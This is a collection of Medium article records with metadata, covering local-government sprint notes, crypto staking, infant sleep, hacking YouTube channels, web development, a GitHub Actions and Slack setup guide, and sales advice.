A tweet from the RIPA project.
Scalable Approach to Vulnerability via Interoperability (SAVVI)
This sprint the project team held a workshop to review their learnings from working with North Yorkshire County Council, and begin to shape this into a case study.
Product Owner, Paul Davidson, and SAVVI coach Simon have been continuing to work on the SENA case study. Paul is also working on making the SAVVI catalogue prototype compliant with GDS design patterns and standards.
Project Manager, Shelley Heckman, has published a blog post outlining notes from the information governance quality assurance Working Group for Vulnerability. Read the blog post on LinkedIn.
Thanks for reading! For the daily download on all things #LocalDigital, be sure to follow us on Twitter. | https://medium.com/ldcu/sprint-notes-32-8f161d67fb94 | ['Local Digital Collaboration Unit'] | 2021-09-02 13:51:41.597000+00:00 | ['Local Digital', 'Digital Government', 'Local Government', 'Digital Planning', 'Sprint Notes'] |
The Peer Mountain Mobile App: Part 1 — Signing up | The Peer Mountain mobile app is currently in Alpha mode. Here’s a preview that shows you how to set up your account with your passport, date of birth, and email. The process only takes a few minutes (note: the accompanying video has been edited and sped up for convenience).
Once this is done, you’ll be all set to make swift and secure transactions with other members of Peer Mountain’s decentralized trust ecosystem.
The app is free and available through easy-to-access invitations in the form of QR codes or links. Once you’ve accepted your invitation, you’ll need to create your Peer Mountain dossier.
Sign up to Peer Mountain
Enter and confirm a 6-digit PIN. You can change your PIN in the app settings at any time. Alternatively, you can use your smartphone’s fingerprint reader to sign up if it has one.
Once you’ve confirmed your PIN, write down your recovery keywords on a piece of paper. This is safer than taking a screenshot or storing these keywords digitally, as other apps may be able to view them, making them potentially easier to steal.
To continue, select six of your keywords. You’re now ready to start building your Peer Mountain profile.
2. Build your Peer Mountain profile
Your Peer Mountain profile contains the identification documents you require for identity verification, as well as personal details, such as your date of birth and contact information. All data is encrypted so that nobody — not even Peer Mountain — can see or access it.
To start, you’ll need to scan an identification document — in this example, we’re using a passport. Your device will ask you for permission to take pictures and record video, and make and manage phone calls. Tap “Allow” for both. | https://medium.com/peermountain/the-peer-mountain-mobile-app-part-1-signing-up-c7c9f8c02d89 | ['Peer Mountain'] | 2018-01-19 11:46:26.101000+00:00 | ['ICO', 'Tech', 'Bitcoin', 'Blockchain', 'Cryptocurrency'] |
An Overview of Elrond’s Consensus, PoS Economy and Frequent Staking Questions | Proof of Stake Economics
If you manage to reach this chapter that means you are passionate about blockchain technology and that you think in the following years and decades it is going to be part of our lives on a daily basis and it is going to bring value to our society. We think you asked yourself at least once why we need these cryptocurrencies and if the technology could work without them. Well, the cryptocurrency have well established roles inside a public blockchain. The network won’t be able to work without it.
Firstly, the cryptocurrency has the role of encouraging and rewarding the participation in the Network’s Security and the transaction validation process. Elrond has a well developed incentives system that stops inflation from harming the holders and at the same time it covers the maintenance cost of the nodes run by validators. Due to these the Network Security is increased and a virtuous circle is born. As more users are attracted to use the network due to its Security, more fees are generated as a result of their activity on the network and the validators get even more rewards, a fact that attracts even more users to become validators and secure the network.
Another important use case of a cryptocurrency inside a blockchain is being used as transaction fees payment or as we usually call it in the crypto space, gas fee. Having this system that requires every user to pay a fee for each transaction, spam is discouraged and the scenario in which the network could be willingly congested becomes improbable.
Now that we explained the relationship between cryptocurrency and blockchain we can move further to staking rewards and the ways they are generated.
EGLD Economics has almost the same principles as Bitcoin’s model and it is probably the first one having a max supply built on a Proof of Stake system that is built using an architecture capable at the moment of speaking of 16200 transactions per second and that comprises 3 execution shards but the network can scale linearly (if more throughput is needed more shards can be added to meet the new requirements).
The economic model implemented with the launch of the network a minimum reward per year guaranteed through new coins issuing. 11 415 927 EGLD will be issued as staking rewards to reach the maximum total supply. The issuing will be made on a 10 years plan after which the total supply will theoretically be 31 415 927 EGLD. The mentioned total supply is theoretical and will actually not be reached because of the mechanism that was implemented to use 90% of the transaction fees to diminish the inflation. The other 10% are sent by the same mechanism to Elrond protocol treasury for the protocol’s further development. All the above considered, the maximum total supply is reduced with every transaction on the network.
We can notice in the above schedule that every year (if we assume no transaction is done on the network) a fixed number of EGLD is issued. This is not very suggestive though so we will explain how APR is calculated.
During the first year 2 169 025 EGLD are issued. These are distributed among the 3200 nodes.
As a result of the distribution each node is to get 677 EGLD minus 10% for protocol sustainability meaning 610 EGLD for each node. After distributing the 610 EGLD to the base stake (2500) we get a 24.4% APR.
The APR is 24.4% in the 3200 nodes scenario when the nodes have no top-up, which means 8 millions EGLD are staked. However, this is not the case now because there was a great staking demand and 11 millions were staked resulting in a lower APR.
Note: APR can vary from one provider to another as a result of the differences between the service fees the providers have and because of the nodes top-up loading. | https://medium.com/@mgstaking/an-overview-of-elronds-consensus-pos-economy-and-frequent-staking-questions-e6245e02e38d | [] | 2021-07-06 19:59:07.903000+00:00 | ['Blockhain', 'Elrond', 'Staking', 'Proof Of Stake', 'Egld'] |
How lack of sleep affects your baby’s brain and personality | How lack of sleep affects your baby’s brain and personality putrasaskara Jun 11·9 min read
Click here for learn more about baby sleep miracle
A leading researcher on temperament in infants and young children once said in despair, “When I raised my first child, I believed behavioral theories claiming that what I do as a parent molds my child’s character. With my second child, I was already a geneticist and believed that a child is born with characteristics that are passed on through heredity and that environmental influence is minimal. I barely knew my third child at all…”
This analysis was, of course, exaggerated, but it demonstrates the ongoing quest of parents and scientists to answer this question: what determines the personality and personal characteristics of the child?
The question of heredity (“She got her shyness from her dad’s family”) versus environment (“If his mother were more strict with him, he would be calmer”) underlies parents’ attempts to understand the range of influence they have in molding their child.
Up-to-date research points to a complex picture: the influence of heredity and environment on the child. Much evidence suggests that the baby is born with genetic baggage that not only determines how he looks, the color of his eyes, and his chances of suffering from various diseases but also significantly influences the character traits that he or she will develop.
Physical activity level, shyness or sociability, openness to new situations, and anxiety are among the traits that are related to the genetic predisposition with which babies enter the world. Many parents discover that their child has traits that are undesirable to them — especially if they remind them of qualities they dislike about their parents, their spouses, or themselves.
Parents frequently try to fight these traits, but they often discover that it is a losing battle.
It seems that the most important variable that influences the quality of the relationship between parents and children is the “goodness of fit” between the child’s traits and the parents’ expectations.
A very active child, for example, may be adored by a father who appreciates and identifies with this trait but merely tolerated by a father who expects a calmer child.
On the other hand, a quiet, calm child may be considered depressive or lifeless by the first father, while the second father sees her as perfect.
Incompatibility between parental expectations and the child’s traits may lead to frustration and stress in the relationship, particularly if the parents try to “correct” the child to conform to their expectations.
Click here for learn more about baby sleep miracle
The Relationship Between Temperament And Sleep
Every parent is familiar with the situation in which her child demonstrates by his behavior that he “is up past his bedtime.”
When scientists asked parents to describe this situation, some said that the child calms down, seems sleepy, falls asleep on his own, or asks directly or indirectly to go to bed. Other parents said that their child in this situation “climbs the walls,” “is a crybaby,” “is nervous and unhappy with everything,” “doesn’t respond to what he’s told,” or “simply does annoying things.”
Clearly, young children react to tiredness in significantly different ways.
A state of fatigue is not necessarily expressed by decreased activity and obvious sleepiness.
Sometimes the symptoms can be just the opposite.
Some of the typical “negative” behaviors of the tired child are compatible with general patterns that characterize behavior disorders.
Much evidence points to a strong correlation between sleep and the development of the child’s personality traits.
Studies have shown that a baby who suffers from sleep disorders (difficulty falling asleep, for example, or many awakenings during the night) tends to be “more difficult” in other behavioral domains.
In a study conducted in several sleep laboratories, scientists compared a group of nine- to twenty-four-month-old babies whose parents had come for a consultation about their children’s sleep problems with a control group of babies without sleep disorder — not surprisingly, what they found is significant differences in the traits that the mothers attributed to babies.
The mothers completed a temperament questionnaire, which is a sort of “personality” test for young children.
The mothers rated their degree of agreement with such sentences as “The child agrees to be dressed and undressed without protesting,” “The child responds strongly (screams, yells) when frustrated,” and “The child sits quietly when waiting to eat.”
In general, the mothers of babies with sleep problems described them as more demanding, complaining, annoying, negatively sensitive to different stimuli, and difficult to adapt to different situations, as compared with babies without sleep problems.
One of the traits measured in the temperament questionnaire is the degree of sensitivity or responsivity of the baby to different sensory stimuli (noise, temperature, taste, smell).
Some babies are very sensitive to any kind of sensory stimulus, and others are sensitive only to a specific type of sensation — for example, those who recoil from skin contact.
A wide range of babies do not respond in an outstanding way to sensory stimuli.
One of the hypotheses that the researcher William Carey examined in 1974 was that babies who suffer from hypersensitivity to sensory stimuli would tend to develop sleep difficulties.
Carey’s findings supported the hypothesis, and he claimed that the heightened sensitivity to sensory stimuli is hereditary.
In order to fall asleep, the baby has to disassociate himself from the external environment and stop responding to people, noise, light, and temperature, and to disassociate from internal signals as well, such as pain, discomfort, and hunger. This ability to disassociate is most critical for maintaining uninterrupted sleep and for preventing awakenings in response to various stimuli.
A baby who is sensitive from birth to any internal or external stimulus will have trouble disassociating from environmental stimuli, which will interfere with his ability to relax and fall asleep easily and will cause him to awaken easily and frequently over the course of the night.
This correlation between sleep and behavior continues throughout later childhood.
Studies that examined school-aged children found a correlation between sleep disorders and problems with behavior and more general adaptation.
Actually, sleep disorders serve as a sensitive barometer of general adaptation problems among children and adults.
Sleep disorders are a prominent sign of stress and anxiety, depression, and adaptation problems. Sleep problems are so prevalent in some behavior or emotional disorders that they have been included in diagnostic criteria.
One factor that strengthens a diagnosis of anxiety disorders in a child, for example, is the presence of a sleep disorder.
The close correlation between sleep disorders and behavior problems in children can be explained in a number of ways.
Perhaps a child born with a tendency toward problematic behavior develops sleep problems as well, as a result. At the same time, it is reasonable to believe that significant sleep problems will lead to insufficient sleep or sleep deprivation, which may cause the child to be nervous, impatient, and harder to manage.
In addition, a third cause, such as incompatible parenting patterns, may provoke or aggravate both behavior problems and sleep difficulties.
In treatment centers, scientists frequently come across babies or young children who are described by their parents as hyperactive.
The parents use this term casually, but professionals use it to diagnose a condition — the professional term is attention deficit hyperactivity disorder — that occurs only in older children.
These babies are described as especially active and restless and are said to demand attention and seek stimuli constantly.
Often parents associate their child’s sleep difficulties with his wakeful restlessness. Occasionally a parent says something like, “This boy has a turbo engine and he cannot shut it down at bedtime,” or “He is like the Energizer bunny; he keeps going and going and going.”
Although hyperactivity is diagnosed at a later age, there is evidence that most hyperactive children were overactive, restless babies, with difficult temperaments.
Again, we face a chicken-or-egg question: are these babies unable to sleep like “normal” babies because they are unusually active, or does their sleep problem underlie their “hyperactivity”?
In many cases sleep disruption appears to lead to “hyperactive” behavior patterns, even though no research has directly confirmed this fact.
More and more evidence demonstrates that lack of sleep may bring on behavior that resembles that of a hyperactive child.
From an intuitive perspective we can all recall methods we use to keep ourselves awake when we are tired.
These methods include increasing our activity, fidgeting, fiddling with our hands or our facial muscles, and similar strategies.
This pattern contradicts the expectation that the tired child will relax and slow down.
The clinical literature has documented certain cases in which significant sleep problems have been found to lead to “hyperactive” behavior patterns and later to a wrong diagnosis and treatment.
It is of utmost importance to examine the possibility that the sleep disorder is the source and not the outcome of the “hyperactivity.”
In the event that a sleep disorder exists, it should be treated before treating the disorders that result from it.
In some cases treating the sleep disorder may spare the child from receiving unnecessary medication like Ritalin, which is the most prescribed chemical response to children’s behavioral problems.
An erroneous interpretation of a child’s behavior can also result when she responds to a sleep disorder with heightened tiredness, indifference, and lack of interest in the environment. This pattern may be interpreted as depression, and sleep difficulties can be seen as the result of that condition.
As the professional literature reveals, such an erroneous diagnosis can result in a failure to detect and treat a primary sleep disorder, as well as mistaken treatment for depression.
Case studies have shown that when the problem is diagnosed correctly as a primary sleep disorder and treated accordingly, there is a parallel improvement in sleep and disappearance of the “depressive” symptoms.
Intellectual Development
Assessing intelligence in infancy is a very complex task.
Tests used on infants to assess early mental abilities that could be considered components of intelligence have generally failed to predict intelligence or cognitive abilities and achievements in later ages.
The research on the relation between sleep and intellectual development has been hampered by our limited capacity to assess intelligence in infants.
Efforts to study this issue have failed to provide a clear picture of the situation, and we need to call upon additional studies on older children and adults to help us consider the issue more systematically.
Scientists from the University of Connecticut in Evelyn Thoman’s group, which has contributed significantly to the field of the study of infant sleep, examined this question. They followed sleep of newborns over the course of their first two days of life and examined their development at the age of six months.
Special recording devices documented the babies’ sleep in hospital bassinets after birth.
The scientists then tested the mental, motor, and perceptual abilities of the babies at the age of six months, using the Bayley Test.
They found a correlation between sleep measures of the newborns on their first day of life and their development six months later.
Some scientists found a correlation between sleep disorders in infancy, especially those that are caused by respiratory problems, and possible shortfalls in intellectual development and academic achievements at a later age.
Other studies, however, found no comprehensible correlation between sleep and later mental function.
Studies on older children and adults have shown that sleep disorders or insufficient sleep primarily interfere with cognitive abilities associated with attention and concentration.
That is to say that the ability to focus on certain stimuli for extended time deteriorates.
People who don’t get enough sleep react more slowly and make more mistakes on tasks that demand attention and continuous concentration. Although the question of sleep and attention has not been directly studied in infants, some support for their correlation comes from indirect approaches.
For example, mothers described their babies (aged nine to twenty-four months) who suffered from sleep problems as having trouble concentrating on play or a particular activity for an extended length of time, and as easily distracted by other stimuli.
In another recent study, sleep scientists examined the relationship between sleep patterns and learning skills, concentration, and attention among school-aged children.
The sleep patterns of the children were examined objectively by using sleep watches, and their learning functions were examined by computerized tests.
Similar to the results in studies of adults, they found that children whose quality of sleep deteriorated (as manifested by many or lengthy awakenings from sleep during the night) also had decreased attention abilities.
These findings support the assumption that these critical functions for learning and academic achievement are adversely affected by sleep disorders among children.
Furthermore, recent studies have shown that if “normal” children are requested to shorten their sleep for experimental purposes, they suffer negative consequences, and their learning and attention abilities are significantly compromised.
On the basis of what we have learned about older children and adults and from the limited information on infants, it is fair to conclude that the intellectual abilities of infants are challenged by disrupted or insufficient sleep.
Click here for learn more about baby sleep miracle | https://medium.com/@putrasaskara/how-lack-of-sleep-affects-your-babys-brain-and-personality-fd5bd9def0fb | [] | 2021-06-11 14:32:02.922000+00:00 | ['Baby Products', 'Baby Care', 'Baby', 'Baby Sleep', 'Baby Boomers'] |
Top hacking youtube channels:) | Top hacking youtube channels:)
He is such an amazing guy doing lots of experiment on hacking and the security stuff. He have around 500k+ subscribers on his youtube channel.
You can follow him on instagram, twitter and reddit.
Do check out his youtube channel to see full image:)
2.Nahamsec
I personally love this guy, doing bug bounty talks and recon stuff all the time.His twitch is really amazing and he also do long talks like many podcasters do.Do check hi youtube channel out.
3.Stok
STÖK creates educational cybersecurity-related video content for the bug bounty community. Inspiring hackers to level up their BUG BOUNTY game to become a better pentesters, bug hunters and redteamers. STÖK also travels the world, hacks some of the most hardened companies out there and vlogs about bug bounty.
4. Cyber Mentor
I’m a hacker by trade, but this channel will contain various lessons and even off-topic stuff from time to time….. This is a piece of bio from his youtube channel. He is a bigger youtuber than Nahamsec and Stok.
5.NetSecNow
Another channel dedicated to hacking and cyber security with a very healthy subscriber base of just over 33,000. Videos on here include introductions to Cross Site Scripting vulnerabilities, how to exploit using Metasploit, how to crack password hashes and even how to brute force logins using the very popular Burp Suite tool.
6.Hak 5
It is one of the award-winning ethical hacking YouTube channels which covers topics such as open-source software, penetration testing and network infrastructure. The channel began as a podcast in 2005 and now has a community of expert ethical hackers who provide the best guide to learners and techno gurus. The verified YouTube channel has over 602k subscribers that benefit from the videos on it regarding hacks of different network types and devices.
6.Seytonic
Verified grey tick tag prove the authenticity of one of the most interesting ethical hacking YouTube channels. They make videos about effectively hacking complex software, doing DIY hack projects, topics related to Arduino hacks and raspberry pi models. The schematics, codes and manuals they provide are very engaging, informative and encouraging for beginners, gadget geeks and programmers into experimenting with these hack projects.
7.HackerSpoilt
Prioritizing cybersecurity training, Hacker Spoilt is one of the most informative, convenient ethical hacking YouTube channels. If you are interested in learning about essential training in the protection of system and white hat hacking techniques, then this is the channel for you. They have videos and courses that match the industry’s top-level defence solutions to protect company networks. This 454k verified ethical hacking channel on YouTube is a must-follow for those passionate about hacking and technology.
8.Black hat ethical hacking
“To Know One, You Have to Think Like One” is their channel’s motto and thus the name black hat ethical hacking. While most of the ethical hacking YouTube channels promote white hat practice here is one that simulates methodologies resonating with the mind-set of a black hat hacker to ensure most critical complex solutions possible. Cybersecurity being the vast topic it has no particular solution and this channel exposes means of offence attacks by malicious users who tend to manipulate information, data, resources of companies in various ways. You can learn real cases of attacks and various ways of black hat practises to ensure strict strong solutions for your networks with this channel.
The top 3 are my favorite one’s and i follow them everywhere… rest are what others like and i also check them weekly..
Hope you guys like the blog..Don’t forget to connect me via my social media handles and do check my book on amazon named HOW TO START HACKING | https://medium.com/@adihacks/top-hacking-youtube-channels-2c44e28dc804 | ['Adihacks Aditya Rawat'] | 2020-12-26 09:58:33.886000+00:00 | ['Cyber Security', 'Adihacks', 'Aditya Rawat', 'Google Images', 'Hacking'] |
Conscious Entrepreneurship: May I introduce Donna Avellana Künzler | Conscious Entrepreneurship: May I introduce Donna Avellana Künzler
Donna Avellana Künzler is the author of the award winning nonfiction novel, “The Overseas Fabulous Pinay: A modern Filipina’s handbook on how to thrive abroad.”
A Filipina who has been living abroad for almost 20 years, Donna thought of writing a book as a way to capture her colorful life overseas, make an impact and give back. She aims is to diversify the narrative of Filipinas living overseas, as well as to uplift their image. By sharing her personal experience and knowledge, she would like to empower women by making their transition to life abroad smoother and more meaningful.
She came up with the concept of an Overseas Fabulous Pinay: a Filipina based overseas who is confident, sophisticated, responsible, proud to be Filipino and makes the Philippines proud. She specifically chose the word “fabulous” because she wants to depict a strong and positive image of a Filipina. Her debut novel won the Gold Award in the Nonfiction Book Awards 2020 and was honored as a finalist in the Best Interior Design category of the International Book Awards 2020.
CONSCIOUS ENTREPRENEURSHIP — What meaning do you give this term?
Conscious entrepreneurship is venturing into a business with a cause. It comes with the awareness and most especially willingness, that the business will solve or support a wider social issue or problem.
MENTORS — We all need a little help along the journey. Who has been an invaluable mentor for you? Can you share a story about how they made an impact?
Two years ago, I was fortunate to be selected as one of the mentees in my company’s mentorship program. I was assigned a mentor who is a C level executive. It could not have come in a more appropriate time as 2018 was a very difficult year for me — I did not get a promotion that I applied for and my mother also passed away that year. Having a mentor during that time really helped me a lot — not just to talk about my professional goals but my life goals in general. Our mentorship meetings although not structured, became an outlet for me to sound off my thoughts and also learn from my mentor who openly shared her experiences as well. Most importantly, she helped me answer the question, “What would you like to do?” This is her biggest impact on me which somehow targeted my inner desire to do greater good and to start making a difference outside my comfort zone. And with this in mind, it’s good to ask ourselves every now and then if what we are doing are still in line with what we really want to do.
TO THRIVE — When you see yourself thriving: Do you see yourself opening up opportunities for others along the way to participate in your success, and how?
My book alone is a concrete manifestation of this. My main objective is for my readers to be successful in their overseas journey. In that whatever question, issue or problem they face, or whatever phase they may be in their overseas journey, that they are able to fill the knowledge gap or find the solution through my book.
CAUSE — What are the causes close to your heart, and you are supporting right now? Can you share a story how you got involved? How did it make you feel?
I have a couple of advocacies but right now, I’m actively working on a concept store that will feature Filipino products that are mostly social enterprises. I have a firm belief that our Filipino products are world class and have something special and unique to offer. This is something that I would like to share to the European market. And apart from selling the products, it’s also a way of giving back because the suppliers that I am connected with are supporting local communities in the Philippines in terms of employment and continuity of traditional Filipino craftsmanship. I’m really excited for this venture and fingers crossed it will be available in early 2021.
THE FUTURE — How do you see the face of entrepreneurship in 5 years? How do companies /brands need to adapt to secure their place in the future?
Social, conscious or purposeful entrepreneurship is definitely going to be a main driver for entrepreneurs. It’s not enough to be able to provide goods and services, but it will become essential to have a social purpose.
DRIVE — Do you sometimes feel bad for “wanting more out of life”, and if so, why? What is your personal motivation that leads you through the hardships of entrepreneurship?
Although my concept store has not yet launched, I already consider myself an entrepreneur because of my author business. I don’t think it’s bad to want more out of life. If you have a goal that is not yet achieved, it’s natural to feel incomplete. And that’s how I feel at the moment. Just like with my book, I really want all Filipinos who are planning to move abroad or living abroad to have a copy of my book because I know that it will be useful. It’s not just about selling my book but really because I believe that it can make a positive difference. So until I reach a point where I can say, “yes, I have achieved my goal”, I will keep on trying.
THANK YOU!
Connect with Donna on Instagram. | https://medium.com/@demeekoch/conscious-entrepreneurship-may-i-introduce-donna-avellana-k%C3%BCnzler-4e13af30576f | ['Demee Koch'] | 2021-01-27 18:32:12.993000+00:00 | ['Women', 'Female Founders', 'Entrepreneurship', 'Authors', 'Entrepreneur Ideas'] |
How to become a web developer | How to start from scratch and make the website your really want without any extra help.
This marks the first post on web development both from the clinical developers and for the unexpected developer publication on medium.
What is this post series about?
In this series of posts I am going to show you how to go quickly from complete novice to adept hobbyist in only a few steps.
Whether you are interested in entrepreneurship, building websites for work or just building your own blog; without a website you will struggle to broadcast your message.
What options do you have?
In essence you have three options:
Use a default existing-solution Build your own custom site Go to a professional developer
Option one is simple and in the next post I will go through all these options and some basic terminology. Option three is also fairly simple however, you will pay heavily for the privilege. Then if you want to change anything it will cost you again. This is fine if you are a large multinational corporation but not if you are an individual with only just enough cash for one shot at whatever you are trying to achieve.
Option two is what I will generally focus on. It is my belief that web development is not beyond the ability of anyone, and if you have the focus you can go a long way in a short period of time using content management systems or CMS (don’t be put off by the terminology, I will keep explaining it).
How much build-your-own cost?
Can it be done for free? The answer is yes, but you will need to accept advertising on your site, and you are unlikely to have a lot of control over what you can do with it. Personally, I think you should budget between $10 and $100 to build your site. With that small amount of money you can go a very long way and do whatever you want. If you went to a professional developer it would probably cost you over $1000 to get a lot less done and then you can’t alter it.
However, before we delve further into any of the details lets ask the key question: What are you trying to achieve?
What are you trying to achieve?
The person who wants to build a social network is going to need to know a lot more about web development than the person who wants to build a blog. In general the heirarchy of complexity probably goes something like:
Simplest/Easiest
Front page for an organisation/product/service (just a static advert really).
Contact page (static advert plus simple email form).
Blog (set of scrolling posts — like this one) that updates as new posts are created.
Splash page with a blog and social integrations.
Simple sales sites with a shop as well as other basic elements.
Sites with multiple integrations (contact, about, blog, signup, social, shop, ads)
Sites with a login only area
Sites with a forum (forums are easy to set up but hard to maintain).
Sites with an online learning platform
Sites with a social networking component (this is where you can actually build your own profile).
Sites with integrated web applications based in the cloud
Sites involving machine learning, encryption or even just big data storage.
Hardest/Challenging
Although, choosing the right platform can drastically change how difficult or otherwise the above tasks are.
What types of web-building platform are available? Broadly there are three types:
Drag ‘N Drop builders — easy to use but the most inflexible. Content Management Systems — These are like a scaffold onto which you build the website (most popular). Other — for the more advanced user there are a multitude of other options.
Which category should I use?
If you are building a very specific site with a simple singular function (ie. Just a simple online shop or a contact page) you should use a drag ‘N drop builder like Shopify or Wix. This is because these ready made solutions are extremely easy to use and help you avoid some of the pitfalls and complexities of running a more freeform site. If you are like and like experimenting or you have a ‘higher purpose’ in mind and need more flexibility use a content management system like Wordpress. Some people suggest you should start with a drag and drop builder and then migrate to something like Wordpress later on; Personally I think you should just start as you mean to go on by using the content management system from the start. The learning curve (if given good guidance) is not too bad and it is usable even by those who know only minimal code. If you are a coder already and you want to push yourself you should start on Joomla or Drupal (These are also content management systems) but they give you more flexibility and freedom although they are more technically demanding. Offline website construction using software like Dreamweaver has very much gone out of fashion. This is because browsers (the window on your computer you are reading this in) have become much more advanced, as has code (the raw text that makes computers do things), hosting (servers), cloud technology (even bigger servers) and a variety of other key technologies. The other options I am referring to are numerous and often nowadays used in combination with a CMS (content management system).
Next we will go through the drag and drops and basic terminology. | https://medium.com/the-unexpected-developer/how-to-become-a-web-developer-b6abc290f044 | ['Matt Stammers'] | 2017-01-22 21:43:45.553000+00:00 | ['Software', 'Web Development', 'Personal Development', 'HTML', 'Frontend'] |
Set up R-CMD-check with a GitHub Actions workflow and notify Slack | How to: for a future me
Introduction
If you work in software, you know all about Continuous Integration and Continuous Deployment (CI/CD) pipelines. These are best practices for shortening feedback loops between code changes and successful builds. GitHub Actions are a fairly new feature in GitHub, but is growing rapidly thanks in part to community involvement and the GitHub Marketplace. I am fortunate enough to contribute to several packages in the R ecosystem, and most packages use Travis-ci for their CI pipelines. If you store your project on GitHub, then the nice thing about using GitHub Actions for your pipelines is that the functionality already resides in the same system. There are a bunch of other reasons why you may choose GitHub Actions over Travis, some of which are covered in this talk by Jim Hester at rstudio::conf 2020.
Now, chances are that if you work in a technology or service organization that you also use Slack. Something we are trying with several projects related to the R organization’s participation in the prestigious Google Summer of Code program for 2021 is to use Slack for asynchronous communication. Slack has a range of integrations that can be built into your workflow. For example you can add Travis, GitHub, Zoom integrations etc. This makes for a productive experience from a single workspace whilst working in Slack. One of the things we are testing is adding a Slack bot app for notifying the relevant channels of build status updates whenever code is pushed or pull requests are submitted to the relevant code repositories in GitHub. The rest of this document is intended to be a step-by-step guide for how we got that done…so that i can refer to it in future and hopefully someone else reading this might benefit.
Its worth noting that there are really 2 workflows merged into one; a workflow to run an R-CMD-check and a workflow to notify Slack of the results. We will look at each part separately in the next 2 sections.
Part 1: R-CMD-check
The first workflow is running an R-CMD-check with a GitHub Actions workflow. You can refer to the Github Actions for the R community repo for more information, examples, additional resources etc. For our purposes, and the example below we merely used the YAML for “A simple CI workflow to check with the release version of R”, but changed the OS it runs on to Ubuntu.
Thanks to the contributors of that repo and the developers of the rcmdcheck package which makes this all possible.
You will likely want to add a status badge for your workflow to your project README. If so, you can refer to GitHub docs for “Adding a workflow status badge.”
Part 2: Slack Notification
At this point the GitHub Marketplace shines again. There are several Slack Notify options from the Marketplace which are open source, but i ended up going with Slack Notify Build. The documentation was helpful, but i still found myself getting stuck in places, hence this post for my own future reference if nothing else.
In order to get the integration working you first need to create a Slack app. This app will connect to your GitHub repo and hook into the status of your workflows. Creating a Slack app is really simple, requiring no code. You can go to https://api.slack.com/apps and create your Slack app “from scratch,” or at least that was the option i chose.
Then, you will need to create a Bot user. This is well documented in the Slack API docs here.
Next, you will need to install the app to your Slack Workspace. You can do this from the Settings menu for your app. Once that is done, you will need to enable a few features before you are done with configuring your new app in Slack. You will need to:
Activate Incoming Webhooks
Add the following OAuth scopes:
Bot Token Scopes
At this point you are pretty much done with any Slack setup and config. The only thing left to do is add the app to your respective channel with the command “/invite GitHub Action” or whatever the name of your Slack Bot app is. If you dont you will see a build error in GitHub Actions workflows like the below (after activating the workflow by adding the appropriate yaml file in the .github/workflows folder) which is quite helpful…
We will need to add the Slack bot token to our repo environment secrets in the Settings menu in GitHub (note: can only be done by repo owner) and add the channel ID to the YAML file. More on that in the next section.
.github/workflows/slack-notify-build.yml
For an example of a working yaml file, see my gist here. For more info regarding GitHub Actions workflow syntax please refer to their docs. For general YAML syntax docs, see the Learn YAML in Y Minutes website.
At this stage you will need to do 2 things:
Add the Slack Bot User OAuth Token to your GitHub repo secrets. The token is available under the “OAuth & Permissions” menu option under Features in your Slack app. For info about how to add a repo secret in GitHub, please refer to the docs. Make sure the name you give the token in the GitHub repo secrets is the name you use in the YAML file. The value of course is the token itself. And add the channel ID (see this accepted answer in this SO question for info on how to get that ID).
Conclusion
Assuming all the above steps have been carried out, you should receive notifications to your Slack channel of the workflow status for an R-CMD-check. The example YAML file stored on gist shows the config for combining an R-CMD-check and sending a status update to Slack in a single notification (a single notification is possible as the same message ID is used for each update).
I hope this is helpful. None of this would be possible without the contributions from the r-lib community and of course the contributors from Vox Media for the build status GitHub Action Slack notification code. | https://medium.com/@jaymon0703/set-up-r-cmd-check-with-a-github-actions-workflow-and-notify-slack-5b4b37f6ab35 | ['Jasen Mackie'] | 2021-06-18 13:25:26.814000+00:00 | ['Rstats', 'Github Actions', 'Slackbot', 'Slack', 'Notifications'] |
When Success Is An Illusion | A study done by Experian Automotive and published in Forbes finds: 61% of the wealthy people in the US actually drive Hondas, Toyotas and Fords.
Photo by Yogendra Singh on uNSPLASH
Coaching advice to salesmen on how to be effective is almost as big an industry as selling.
Buzfluent.com breaks sales into 2 categories tangible and intangible. They go on to add that although both seek the same result the sales approach they take can be very different. In particular, sellers of intangibles may have to create the need for their assistance. Intangible sales typically involve selling a service as opposed to a tangible product that a prospect can see, smell or taste.
Intangible sales are where creativity lies. The sales executive has to “Paint a picture” for the prospect.
A gruesome example of this is the insurance industry’s phrase “Back the Hearst up to the door” (frightening the prospect’s family by reminding, usually the wife and kids, how life would be financially as well as emotionally without the family breadwinner).
When the sale is tangible, the saying is usually uttered by the prospect,”Who am I to believe, you or my own eyes?”
You like the blouse or not, the pair of shoes, the ice cream cone, the car.
For good reason, intangible sales is where the money lies for the sales executive. And deservedly so, it’s harder work.
Financial planning involves — well, planning. The objective being economic security; monetary protection for you and your family.
The points mentioned above are pictures painted by the salesperson who then has to convince you to follow his advice to prosperity.
It takes a certain combination of events to effectuate an intangible transaction. Much more than, say — buying an ice cream cone, or a blouse.
There are as many opinions as there are employees when the questions comes up as to how one should project when on an appointment to transact intangibles.
What to wear? What car to drive? In what type of building is your office? Do you have a private corner workplace with a view?
How important is the illusion of success?
The overwhelming majority of advisers in the financial service field feel that to appear prosperous in any meeting made with any client is of utmost importance. At a minimum, Brook Brothers men’s and women’s attire. Drive as an expensive car as you can afford; Tesla is the happening car currently. Extravagant workplace lavishly appointed.
All of these accouterments give the salesperson the illusion of success to many.
The logic is irrefutable: you’d like someone who has money — handling your money.
If the financial planner doesn’t have his own house in order; how can he make yours?
Uuuh yes! His own house in order.
A study done by Experian Automotive and published in Forbes finds: 61% of wealthy people actually drive Hondas, Toyotas and Fords.
www/cnbc.com. There’s a scientific reason the billionaires routinely wear the same thing. By sticking to a kind of uniform, they’re avoiding a phenomenon known as decision fatigue, which describes the way choices become harder and harder as a day goes on and your finite store of energy gets depleted.
Expensive office space is rapidly becoming a thing of the past.
Who would you want handling your retirement Warren Buffet: who will drive up in his 2014 Cadallac and probablly be wearing 1 of 9 suits he owns made by Dayang Group, a large mid to high end menswear manufacturer in China? Maybe drop in and see him in his modest office at 3555 Farnam St. Omaha, NE? Anyone can.
Or
Would you have more confidence in — Donald Trump?
In the end: only real financial success begets financial success.
Beware of the wolf in sheep’s clothing
Gain Access to Expert View — Subscribe to DDI Intel | https://medium.datadriveninvestor.com/when-success-is-an-illusion-e7e83eb66bee | ['Brian Dickens Barrabee'] | 2020-12-26 15:59:31.431000+00:00 | ['Success', 'Financial Planning', 'Investment', 'Business', 'Sales'] |
Why Sentence Structure Really, Really Matters — Especially with Participial Phrases | WRITING WELL
Why Sentence Structure Really, Really Matters — Especially with Participial Phrases
Photo by Chris Hardy on Unsplash
